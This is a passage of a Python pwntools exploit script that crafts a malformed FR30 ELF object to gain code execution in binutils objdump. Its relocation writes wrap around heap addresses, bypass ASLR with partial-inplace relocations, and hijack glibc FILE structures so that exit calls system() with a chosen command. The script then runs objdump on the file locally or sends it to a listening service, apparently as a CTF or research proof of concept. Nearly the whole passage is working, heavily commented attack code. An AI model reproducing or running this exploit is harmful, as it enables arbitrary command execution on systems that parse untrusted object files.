cmd = C["cmd"]
# Relocation list. Each entry is either:
# (r_offset, value) — normal FR30 4-byte write
# (r_offset, value, sym_index) — FR30 write using specific symbol
# ("WB", None) — marker for a "wrapping write" (see below)
# ("PI_HT", target_idx, val) — marker for PI howto overwrite
rl = []
def wb(target, value):
"""Wrapping write: write `value` at a NEGATIVE offset from data.
The FR30 relocation uses a 32-bit r_offset from the ELF, but the
internal arelent.address is 64-bit. We use an earlier relocation
to write 0xFFFFFFFF into the upper 32 bits of the next arelent's
address field. This makes the effective address wrap around in
64-bit arithmetic:
data + 0xFFFFFFFF_xxxxxxxx + 2
= data + xxxxxxxx - 0x100000000 + 2
= data + xxxxxxxx + 2 (mod 2^64, wraps backward)
This lets us reach the BFD struct and other objects that are
allocated BEFORE the .debug_info buffer on the heap.
The "WB" marker is resolved later by _resolve() once we know R
(the arelent array offset), which tells us WHERE to write the
0xFFFFFFFF upper-32-bit value.
"""
rl.append(("WB", None)) # upper 32 = 0xFFFFFFFF
rl.append(((target - 2) & 0xFFFFFFFF, value)) # actual write
def lw(target, value):
"""Normal (local) write: write `value` at a positive offset.
FR30 writes at (data + r_offset + 2), so we subtract 2 from the
target to compensate. After the xvec redirect to LE, bfd_put_32
writes in little-endian (matching the aarch64 host), so the value
lands as expected.
"""
rl.append((target - 2, value & 0xFFFFFFFF))
# ─── Step 1: Redirect xvec to LE target vector ───────────────────
# The xvec pointer at abfd+8 determines byte order for bfd_put_32.
# We overwrite its lower 2 bytes to point to the LE target vector.
# This is a partial overwrite with 0 entropy: PIE is 64KB-aligned
# on aarch64, so the lower 16 bits of any PIE pointer are constant.
#
# The 4-byte big-endian write at abfd+6 overwrites:
# abfd+6..7 = last 2 bytes of filename pointer (harmless)
# abfd+8..9 = first 2 bytes of xvec (lower 16 bits in LE)
#
# We byte-swap LE_XV for the BE write so it lands correctly.
bx = ((LE_XV & 0xFF) << 8) | ((LE_XV >> 8) & 0xFF)
wb(B + 6, bx)
# ─── Step 2: Set iostream = NULL ──────────────────────────────────
# iostream is at abfd+16 (8 bytes). We zero both halves.
# This prevents bfd_cache_close → fclose from running, which:
# a) Would crash on our corrupted FILE fields
# b) Would remove the FILE from _IO_list_all (killing the trigger)
# With iostream=NULL, the FILE stays linked and gets flushed on exit.
wb(B + 16, 0)
wb(B + 20, 0)
# ─── Step 3: Write command string to FILE._flags (fp+0) ──────────
# system(fp) will interpret the bytes starting at fp as a command.
# The _flags field is the first 4 bytes — they must satisfy glibc's
# stdio flag checks (see comment in PR dict above).
# We pad to 4-byte alignment for the LE 32-bit writes.
cp = cmd.ljust(((len(cmd) + 3) // 4) * 4, b"\x00")
for i in range(0, len(cp), 4):
lw(IO + i, struct.unpack('<I', cp[i:i+4])[0])
# ─── Step 4: Zero FILE._chain (fp+104) ────────────────────────────
# _chain normally points to stderr. We zero it because in our fake
# wide_data layout (fp-88), _chain falls at wd+24 = wide_write_base.
# _IO_wfile_overflow checks: if wide_write_base != 0, skip the
# __doallocate path entirely. Zeroing _chain makes wide_write_base=0.
lw(IO + 104, 0)
lw(IO + 108, 0)
# ─── Step 5: Set write_base=1, write_ptr=2 ───────────────────────
# _IO_flush_all_lockp (called during exit) checks:
# if (mode <= 0 && write_ptr > write_base) → call __overflow
# We need write_ptr > write_base to trigger the overflow path.
# write_base must be NON-ZERO so _IO_wfile_overflow skips the narrow
# buffer allocation (_IO_doallocbuf) which would pre-empt the wide
# buffer path.
lw(IO + 32, 1); lw(IO + 36, 0) # _IO_write_base = 1
lw(IO + 40, 2); lw(IO + 44, 0) # _IO_write_ptr = 2
# ─── Step 6: Inflate section->size ────────────────────────────────
# PI relocations go through bfd_perform_relocation's default path,
# which checks bfd_reloc_offset_in_range(). The check fails if
# r_offset > section->size. We inflate size to 0xFFFF so PI relocs
# at large offsets (like IO+216) pass the bounds check.
# (Note: fr30_elf_i32_reloc does NOT check bounds — only the
# default path used by PI relocs does.)
lw(S, 0xFFFF)
# ─── Step 7: Zero the lock word at fp+80 ─────────────────────────
# fp+80 serves double duty as the start of our fake vtable AND as
# the lock object for _IO_lock_lock (since we PI _lock to point
# here). The lock word must be 0 (unlocked) for stdio operations
# to proceed without deadlocking.
lw(IO + 80, 0)
# ─── Step 8: Zero wide_buf_base at fp-40 ─────────────────────────
# In our fake_wide_data (at fp-88), _IO_buf_base is at wd+48 = fp-40.
# _IO_wdoallocbuf only calls __doallocate when _IO_buf_base is NULL.
# This address (data + IO - 40) may contain non-zero data from other
# heap allocations, so we explicitly zero it.
lw(IO - 40, 0)
lw(IO - 40 + 4, 0)
# ─── Step 9: PI (partial-inplace) relocations ─────────────────────
# These are the core of the ASLR bypass. Each PI reloc reads an
# existing pointer from the heap, adds a CONSTANT delta, and writes
# it back. Since the delta is constant within a single ASLR region,
# we can compute any libc address from any other libc address, and
# any heap address from any other heap address — without knowing
# the base.
#
# PI reloc formula:
# new_value = old_value + (symbol_value - r_offset)
# We want: new_value = old_value + delta
# So: symbol_value = delta + r_offset
#
# To make bfd_perform_relocation use the PI path, we overwrite the
# lower 16 bits of each PI reloc's howto pointer (in the arelent
# struct) to point to the partial_inplace howto at PI_HT.
pi_relocs = [
# (target_offset, delta)
#
# 1. vtable: _IO_file_jumps → _IO_wfile_jumps
# Both are valid vtables in __libc_IO_vtables, so this passes
# glibc's vtable check. _IO_wfile_jumps routes __overflow to
# _IO_wfile_overflow, which accesses the unchecked _wide_vtable.
(IO + 216, DW),
# 2. _lock: lock_object → fp+80 (fake vtable base)
# Serves two purposes: (a) the lock word at fp+80 is 0, so
# lock acquisition succeeds, and (b) the fake_wide_data's
# _wide_vtable (at wd+224 = fp+136 = _lock field) reads this
# value, making _wide_vtable = fp+80 = our fake vtable.
(IO + 136, (IO + 80) - LV),
# 3. _wide_data: wide_data_struct → fp-88 (fake wide_data)
# Redirects _wide_data to an area where we control the layout:
# wd+24 = fp-64 = _chain (zeroed in step 4) → write_base=0
# wd+48 = fp-40 (zeroed in step 8) → buf_base=0
# wd+224 = fp+136 = _lock field → _wide_vtable
(IO + 160, (IO - 88) - WV),
# 4. __pad5: &_IO_list_all → system()
# __pad5 at fp+184 naturally contains &_IO_list_all (a libc
# address 8 bytes before stderr). We adjust it to system().
# In our fake vtable, __doallocate is at fake_vtable+104 =
# fp+80+104 = fp+184 = this field. So __doallocate = system().
(IO + 184, DS + 8),
]
n_pi = len(pi_relocs)
n_pre = len(rl) # number of non-PI relocs so far
pi_start = n_pre + n_pi # index where PI relocs will be in the arelent array
# For each PI reloc, we need to overwrite the howto pointer in its
# arelent struct. We write PI_HT into the lower 16 bits of the
# howto field (at arelent offset 22-25, overlapping sym_ptr_ptr's
# upper bytes and howto's lower bytes). The upper bits of howto stay
# from the original R_FR30_48 howto, so the pointer lands on the
# partial_inplace howto at the same page.
for i in range(n_pi):
val = ((PI_HT & 0xFF) << 16) | (((PI_HT >> 8) & 0xFF) << 24)
rl.append(("PI_HT", pi_start + i, val))
# Each PI reloc uses a dedicated symbol whose value encodes the delta.
# symbol_value = delta + r_offset (compensates for pcrel_offset=1 in
# the PI howto, which subtracts r_offset from the relocation result).
pi_sv = []
for r_off, delta in pi_relocs:
sv = (delta + r_off) & 0xFFFFFFFF
pi_sv.append(sv)
# sym_index = 3 + i (symbols 0=null, 1=.text, 2=.debug_info, 3..6=PI)
rl.append((r_off, 0, 3 + len(pi_sv) - 1))
final = _resolve(rl, R)
return _mkelf(final, pi_sv)
def _resolve(rl, R):
"""Replace symbolic markers with concrete r_offset values.
R is the offset from data to the arelent array on the heap. We need
it to compute where to write the upper-32-bit values (for wrapping
writes) and the howto pointer overwrites (for PI relocs).
arelent struct layout on aarch64 (32 bytes):
+0: sym_ptr_ptr (8 bytes, pointer to symbol)
+8: address (8 bytes, r_offset in 64-bit)
+16: addend (8 bytes)
+24: howto (8 bytes, pointer to reloc_howto_type)
"""
out = []
for e in rl:
if isinstance(e[0], str) and e[0] == "WB":
# Write 0xFFFFFFFF to the upper 4 bytes of the NEXT arelent's
# address field (at arelent[next].address + 4 = offset 12).
next_idx = len(out) + 1
out.append((R + next_idx * 32 + 12 - 2, 0xFFFFFFFF))
elif isinstance(e[0], str) and e[0] == "PI_HT":
# Write PI_HT into the lower 16 bits of a PI arelent's howto
# pointer (at arelent[target].howto = offset 24, but we write
# at offset 22 to hit bytes 24-25 via the 4-byte write).
target_idx = e[1]
out.append((R + target_idx * 32 + 22 - 2, e[2]))
else:
out.append(e)
return out
def _mkelf(rl, pi_sv, dsz=144):
"""Build a minimal FR30 ELF32 big-endian relocatable.
dsz controls the .debug_info section size. This is critical for
heap layout: dsz=144 ensures the fake_wide_data fields (wd+24 and
wd+48) land in memory that stays zero through the exit trigger,
avoiding tcache metadata and locale string allocations that corrupt
those fields with smaller sizes.
Sections:
0: NULL
1: .text (4 bytes, placeholder)
2: .debug_info (dsz bytes, target for relocations)
3: .rela.debug_info (our exploit relocations)
4: .symtab
5: .strtab
6: .shstrtab
"""
di = b"\x00" * dsz # .debug_info content (all zeros)
tx = b"\x00" * 4 # .text content (placeholder)
# String tables
sec_names = [".text", ".rela.debug_info", ".symtab", ".strtab", ".shstrtab"]
ss, so = _strtab(sec_names) # section name string table
st, to = _strtab(["foo"]) # symbol name string table
# Symbol table: null + .text section + .debug_info section + PI syms + foo
def sym(name, value, size, info, shndx):
return _p32(name) + _p32(value) + _p32(size) + bytes([info, 0]) + _p16(shndx)
sb = sym(0, 0, 0, 0, 0) # [0] null symbol
sb += sym(0, 0, 0, 0x03, 1) # [1] .text section symbol (STT_SECTION)
sb += sym(0, 0, 0, 0x03, 2) # [2] .debug_info section symbol
for v in pi_sv:
sb += sym(0, v, 0, 0, 1) # [3..6] PI symbols with computed values
sb += sym(to["foo"], 0, 4, 0x12, 1) # [7] foo (STB_GLOBAL, STT_FUNC)
first_global = 3 + len(pi_sv) # symtab sh_info = first global symbol index
# Relocation entries (ELF32 RELA: 12 bytes each)
ra = b""
for e in rl:
r_offset = e[0]
r_addend = e[1] if len(e) >= 2 else 0
sym_idx = e[2] if len(e) > 2 else 1 # default: .text section symbol
r_info = (sym_idx << 8) | R_FR30_48
ra += _p32(r_offset & 0xFFFFFFFF) + _p32(r_info) + _p32(r_addend & 0xFFFFFFFF)
# File layout: ELF header (52) + sections + section headers
o = 52
text_off = o; o += len(tx)
di_off = o; o += len(di)
rela_off = o; o += len(ra)
sym_off = o; o += len(sb)
str_off = o; o += len(st)
shstr_off = o; o += len(ss)
shdr_off = o
# Section header builder
def shdr(name, stype, flags, offset, size, link, info, align, entsize):
return (_p32(name) + _p32(stype) + _p32(flags) + _p32(0) +
_p32(offset) + _p32(size) + _p32(link) + _p32(info) +
_p32(align) + _p32(entsize))
hdrs = shdr(0, 0, 0, 0, 0, 0, 0, 0, 0) # [0] NULL
hdrs += shdr(so[".text"], 1, 6, text_off, len(tx), 0, 0, 4, 0) # [1] .text
hdrs += shdr(so[".rela.debug_info"]+5, 1, 0, di_off, len(di), 0, 0, 1, 0) # [2] .debug_info
hdrs += shdr(so[".rela.debug_info"], 4, 0x40, rela_off, len(ra), 4, 2, 4, 12) # [3] .rela.debug_info
hdrs += shdr(so[".symtab"], 2, 0, sym_off, len(sb), 5, first_global, 4, 16) # [4] .symtab
hdrs += shdr(so[".strtab"], 3, 0, str_off, len(st), 0, 0, 1, 0) # [5] .strtab
hdrs += shdr(so[".shstrtab"], 3, 0, shstr_off, len(ss), 0, 0, 1, 0) # [6] .shstrtab
# ELF header (52 bytes, ELF32 big-endian FR30)
ident = b"\x7fELF" + bytes([1, 2, 1, 0]) + b"\x00" * 8 # ELF32, big-endian, ELFOSABI_NONE
ehdr = (ident +
_p16(1) + # e_type = ET_REL (relocatable)
_p16(0x54) + # e_machine = EM_FR30
_p32(1) + # e_version = EV_CURRENT
_p32(0) + # e_entry
_p32(0) + # e_phoff (no program headers)
_p32(shdr_off) + # e_shoff
_p32(0) + # e_flags
_p16(52) + # e_ehsize
_p16(0) + # e_phentsize
_p16(0) + # e_phnum
_p16(40) + # e_shentsize
_p16(7) + # e_shnum (7 sections including NULL)
_p16(6)) # e_shstrndx (index of .shstrtab)
return ehdr + tx + di + ra + sb + st + ss + hdrs
def main():
here = os.path.dirname(os.path.abspath(__file__))
profile = sys.argv[1] if len(sys.argv) > 1 else "local"
assert profile in PR, f"Unknown profile: {profile}. Available: {list(PR.keys())}"
context.binary = ELF("./binutils-gdb/binutils/objdump", checksec=False)
log.info(f"Building '{profile}' RCE exploit")
elf = build(profile)
out = os.path.join(here, "poc_rce.bin")
with open(out, "wb") as f:
f.write(elf)
log.info(f"Wrote {len(elf)} bytes, cmd={PR[profile]['cmd']}")
if profile == "server":
r = remote("localhost", 31337)
r.recvuntil(b"stdin\n")
r.send(elf)
r.shutdown("send")
try:
print(r.recvall(timeout=12).decode(errors="replace"))
except:
log.info("Timeout")
r.close()
else:
objdump = os.path.join(here, "binutils-gdb/binutils/objdump")
log.info(f"Running: {objdump} -g {out}")
os.execvp(objdump, [objdump, "-g", out])
if __name__ == "__main__":
main()